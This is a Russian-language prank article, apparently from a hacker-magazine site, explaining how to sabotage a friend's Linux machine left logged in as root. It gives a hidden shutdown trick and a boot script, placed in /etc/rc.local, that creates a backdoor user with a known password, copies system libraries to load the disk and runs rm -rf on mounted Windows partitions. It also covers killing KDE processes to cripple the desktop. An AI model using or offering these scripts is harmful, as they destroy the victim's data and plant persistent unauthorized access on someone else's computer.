div.main {margin-left: 20pt; margin-right: 20pt}Оторвись над другом-линуксоидом! Источник: http://nix.h1.ru Автор: SHuRuP email: mailto:shurup@xakep.ru?subject=nix www:
http://nix.h1.ru/ icq:
76011665
В связи с очень быстрым развитием OS Linux
ежеминутно респятся новые юзеры этой замечательной операционной системы,
следовательно шанс, что у тебя есть друг-начинающий_nix_гуру возрастает до
размеров последних ChangeLog'ов ядра линукса в битах, умноженных на
количество найденных переполнений буфера во всевозможных приложениях для
unix-like систем за последний месяц. Из всего этого логично будет, если
этот твой друг юзает X-Windows+KDE и, безусловно, сидит под root'ом, а у
тебя уже не однажды всплывала идея показать ему, где сисадмины
зимуют...
1) halting system Требуется: KDE + root
+ совсем немного времени. Пока обладатель компа с загруженным
пингвином под root идет варить пельмени, жмем +, вызываем
терминал (если нет нигде похожей иконки, то смотрим в KDE меню ->
Terminals -> XTerm) и набиваем shutdown -h X (лучше добавить в конце
символ "&"), где X - время в минутах до начала выключения компьютера
(постарайся сделать так, чтобы именно в этот момент линуксоид работал над
чем-нибудь важным или играл в самую любимую гамесу, в которой нет сейвов
;), можно использовать и с другими ключами (см. shutdown --help для
хелпа), например, интересен ключ "r" - ребут системы. После проделанного
западла необходимо спрятать окошко консоли и появившегося предупреждения
aka broadcast message, если стоят миниатюрные окошки каждого
дополнительного desktop'а в нижней панели. Теперь опять тыкаем
+ до возвращения в изначальный рабочий стол и, радостно потирая
мышку о коврик, поджидаем жертву. P.S. Если при попытке перегрузиться в
другой десктоп ничего не получается, то кликай right-button'ом хвостатого
по рабочему столу, далее Configure Desktop -> Number of Desktops,
устанаваливаем еще парочку desktop'ов.
2) loading eleet
scripts Требуется: console/x-window + root + достаточное
количество времени. Эта фишка уже будет работать совсем не
только в KDE... Ее идея: запугать неподготовленного пользователя странными
действиями сразу после загрузки linux'а. Загружаем текстовый редактор и
создаем файл /usr/bin/int (или что-нибудь похожее, его название не должно
вызывать никаких подозрений), то есть, например, в консоли - emacs
/usr/bin/int или vi /usr/bin/int , а в иксах - gedit /usr/bin/int или
kwrite /usr/bin/int. В этот файл записываем примерно
следующее:
#!/bin/sh #первый скрипт, загрузка проца и создание
объемного файла с результатами поиска по шаблону *.* в /main01 echo "*
eleet script 01 coded by SHuRuP *" >/main01 && echo "trying to
find *.*" >>/main01 && find / *.* -print 1>>/main01
2>/dev/null &
#второй скрипт, загрузка процессора и харда
путем копирования различных библиотек #создание юзера eleetuser с
пароем 31337, создание логов в /main02 echo "* eleet script 02 coded by
SHuRuP *" >/main02 && echo "trying to create user"
>>/main02 && adduser -d /home/eleet -p 31337 eleetuser
&& echo "eleetuser has been successfully created" >>/main02
& mkdir /home/eleer/lib 2>/dev/null && echo
"/home/eleet/lib has been successfully created" >>/main02 &&
cp -R /lib /home/eleet/lib 2>/dev/null && echo "libs from /lib
has been successfully copied" >>/main02 & mkdir
/home/eleet/lib2 2>/dev/null && echo "/home/eleet/lib2 has been
successfully created" >>/main02 && cp -R /usr/lib
/home/eleet/lib2 2>/dev/null && echo "libs from /usr/lib has
been successfully copied" >>/main02 &
#третий скрипт,
попытка монтирования cd-rom'а и дискеты, логирование в /main03 echo "*
eleet script 03 coded by SHuRuP *" >/main03 && echo "trying to
mount devices" >>/main03 & mount /mnt/cdrom 2>/dev/null
& mount /mnt/floppy 2>/dev/null &
#четвертый скрипт,
попытка удалить возможные каталоги с windows, логирование в
/main04 echo "* eleet script 04 coded by SHuRuP *" >/main04
&& echo "trying to remove windows" >>/main04 & rm -rf
/mnt/win 2>/dev/null & rm -rf /mnt/windows 2>/dev/null
& rm -rf /mnt/win_c 2>/dev/null & rm -rf /mnt/win_d
2>/dev/null &
#мессага, оповещающая об успешной загрузке
скрипта (исключительно для устрашения ;) echo "* eleet scripts
v0.01pre-beta coded by SHuRuP loaded successfully! *"
После
сохранения такого файла надо поставить права на возможность его
выполнения: chmod +x /usr/bin/int Теперь остается немного
подредактировать /etc/rc.local, чтобы наше творчество выполнялось при
каждой загрузке любимого пингвина. Для этого достаточно написать в
терминале: echo "/usr/bin/int" >>/etc/rc.local Все!
Отныне со следующим и последующими запусками пингвина каждый будут
создаваться файлы с логами, начинать трещать хард, немного подгружаться
процессор, монтироваться дискета и одноглазый, удаляться windows! ;)
P.S. Этот скрипт не будет в идеале выполняться для разных машин, так
как у каждого могут быть свои директории монтирования виндов, сидюка и
флоппи, да и вообще всего предусмотреть невозможно, но по умолчанию обычно
linux'ы настроены именно так, и прикол рассчитан как раз на такой случай.
Но если известно, куда и что примонтировано (для этого достаточно
выполнить команду: cat /etc/fstab), то, лишь немного подправив скрипт,
можно смело идти в бой!
3) x-hell
Требуется: KDE + полминуты. Наверное, тебе известно, что
X-Window построен на процессах, а любой процесс может быть убит => по
теореме SHuRuP'а получаем, что можно убить часть процессов иксов в
результате чего работа в них превратится в настоящий ад, что и требовалось
доказать (читай "чего мы и добиваемся"). Дождавшись удачного момента, не
раздумывая, пишем "ps -x", после этого начинаем пристально раглядывать,
что нам ответили - где-то будет что-нибудь вроде такого:
xxx ? S
0:00 kdeinit: klauncher xxx ? S 0:00 kdeinit: kded xxx ? S 0:00
kdeinit: kxkb xxx ? S 0:00 kdeinit: kxmlrpcd xxx ? S 0:00 kdeinit:
Running... xxx ? S 0:00 kdeinit: kwin xxx ? S 0:00 kdeinit:
kdesktop ...etc...
Тааак... кто этому сомнительному kdeinit
разрешал забивать наш процессор и оперативную память какой-то фигней?? ;)
Именно этой фигней мы и займемся, ибо у нас и так каждый бит на счету! А
осталось нам только поубивать все то, что завоевало наименьший респект в
наших сердцах. Смерть процесса наступает во время близкого контакта с
командой kill -9 pid (или kill -KILL pid, где pid - идентификатор этого
процесса). Теперь о результатах падений некоторых особей
kdeinit'а:
dcopserver - погибает всё кроме окон, которые были
открыты (полезно заметить, что +, + больше не в
силе); kwin - пропадают "оболочки" всех окон так, что нельзя закрыть ни
одну такую программу ни с помощью мышки (панелька с крестиком успешно
укатывается в /dev/null), ни с помощью клавы (Alt+F4 также уезжает на
каникулы); kdesktop - успешно умирают все иконки рабочего
стола; kicker - исчезает нижняя панель с меню Kde а-ля "Пуск" (остается
только KDE Keyboard Tool и Klipper, если они вообще там когда-либо жили,
для их уничтожения припасен процесс kxkb, после падения которого также
перестает меняться раскладка клавиатуры); klipper - смерть
Klipper'а; kwrited - отлично подойдет для прикола #1, так как теперь
после вызова shutdown'а не появится никакого сомнительного окошка с
broadcast message'ом, и, соответственно, теперь не прокатит КДЕшная версия
команды write.
|